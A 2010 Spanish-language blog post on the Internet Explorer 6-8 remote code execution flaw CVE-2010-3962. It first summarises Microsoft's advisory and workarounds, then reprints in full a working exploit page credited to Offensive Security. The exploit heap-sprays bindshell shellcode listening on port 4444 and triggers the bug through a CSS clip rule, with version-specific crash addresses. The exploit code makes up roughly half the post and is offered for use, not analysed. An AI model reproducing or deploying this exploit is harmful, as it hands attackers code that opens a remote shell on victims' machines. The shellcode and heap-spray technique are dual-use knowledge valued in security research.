27 nov 2010

[0Day] RCE en Internet Explorer 6,7 y 8 - CVE-2010-3962L

Vulnerabilidad CVE-2010-3962

Microsoft acaba de publicar un boletín informando de una vulnerabilidad (CVE-2010-3962) que afecta a las versiones soportadas de su navegador Internet Explorer 6, 7 y 8; la cual están investigando y aun no tiene parche de solución.

La principal amenaza que permitiría la vulnerabilidad es la ejecución remota de código.

Microsoft informa que están en conocimiento de ataques dirigidos que intentan aprovecharse de esta vulnerabilidad.

Symantec describe como se están aprovechando los atacantes de esta falla en correos electrónicos engañosos que son enviados para infectar las PC de las víctimas. Es un ataque que combina el engaño (ingeniería social) y la vulnerabilidad, para infectar al PC de la víctima.

El boletín de Microsoft informa de formas de mitigar la amenaza que supone esta vulnerabilidad y soluciones provisorias para evitar la exposición. Entre las formas de mitigar la amenaza el boletín enumera:

* Evitar el estilo CSS del sitio usando estilos CSS definidos por el usuario
* Utilizar el kit de herramientas EMET
* Utilizar la protección DEP para IE 7
* Leer correos en modo texto
* Fijar las zonas de Intranet e Internet en modo de seguridad "Alto" para bloquear los controles ActiveX y el Active Scripting en esas zonas.

También se informa que el Internet Explorer 9 beta no es afectado y se puede usar sin problemas. En el caso de Internet Explorer 8 en su instalación con valores por defecto es poco probable que sea afectado ya que ofrece la protección DEP

Leyendo la noticia ayer en Segu-Info, estaba ancioso por el Exploit, y hoy ya lo liberaron.

[cc lang="HTML"]# Internet Explorer Memory Corruption 0day Vulnerability CVE-2010-3962
# Tested on Windows XP SP3 IE6 IE7 IE8
# Coded by Matteo Memelli ryujin __at__ offsec.com
# http://www.offensive-security.com/0day/ie-0day.txt
# Thx to dookie __at__ offsec.com
# notes : This is a quick and dirty exploit! No DEP/ASLR bypass here feel free to improve it

<!-- Tested on IE6/IE7/IE8 XPSP3 quick and dirty sploit for CVE-2010-3962 zeroday

Note: The EIP value at crash time depends on the exact version of the mshtml library used by IE.
This means that the exploit is not universal for the IE versions indicated in the exploit.

IE6 on XP SP2: mshtml.dll Version 6.0.2900.5512 EIP: 0x0D7DC9C9
IE7 on XP SP3: mshtml.dll Version 7.00.6000.17080 EIP: 0x303CEEBB
IE8 on XP SP3: mshtml.dll Version 8.00.6001.18939 EIP: 0x1D3CF5BD

Matteo Memelli, ryujin __at__ offsec.com thx to dookie __at__ offsec.com //-->
<html>
<head><title>poc CVE-2010-3962 zeroday</title>
<script>
function alloc(bytes, mystr) {
// Bindshell on port 4444
var shellcode = unescape('%u9090%u9090%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b'+
'%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b'+
'%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34'+
'%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301'+
'%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a'+
'%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4'+
'%u6850%u8029%u006b%ud5ff%u5050%u5050%u5040%u5040%uea68%udf0f%uffe0%u89d5%u31c7%u53db%u0268'+
'%u1100%u895c%u6ae6%u5610%u6857%udbc2%u6737%ud5ff%u5753%ub768%u38e9%uffff%u53d5%u5753%u7468'+
'%u3bec%uffe1%u57d5%uc789%u7568%u4d6e%uff61%u68d5%u6d63%u0064%ue389%u5757%u3157%u6af6%u5912'+
'%ue256%u66fd%u44c7%u3c24%u0101%u448d%u1024%u00c6%u5444%u5650%u5656%u5646%u564e%u5356%u6856'+
'%ucc79%u863f%ud5ff%ue089%u564e%uff46%u6830%u8708%u601d%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd'+
'%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u41d5');
while (mystr.length< bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2) + shellcode;
}
</script>
</head>
<body>
<script>
alert('ph33r: click me');
var evil = new Array();
var FAKEOBJ = unescape("%u0d0d%u0d0d");
//FAKEOBJ = alloc(233120, FAKEOBJ); // IE6
//FAKEOBJ = alloc(733120, FAKEOBJ); // IE7
FAKEOBJ = alloc(433120, FAKEOBJ); // IE8
for (var k = 0; k < 1000; k++) {
evil[k] = FAKEOBJ.substr(0, FAKEOBJ.length);
}
document.write("<table style=position:absolute;clip:rect(0)>");
</script>

</body>
</html[/cc]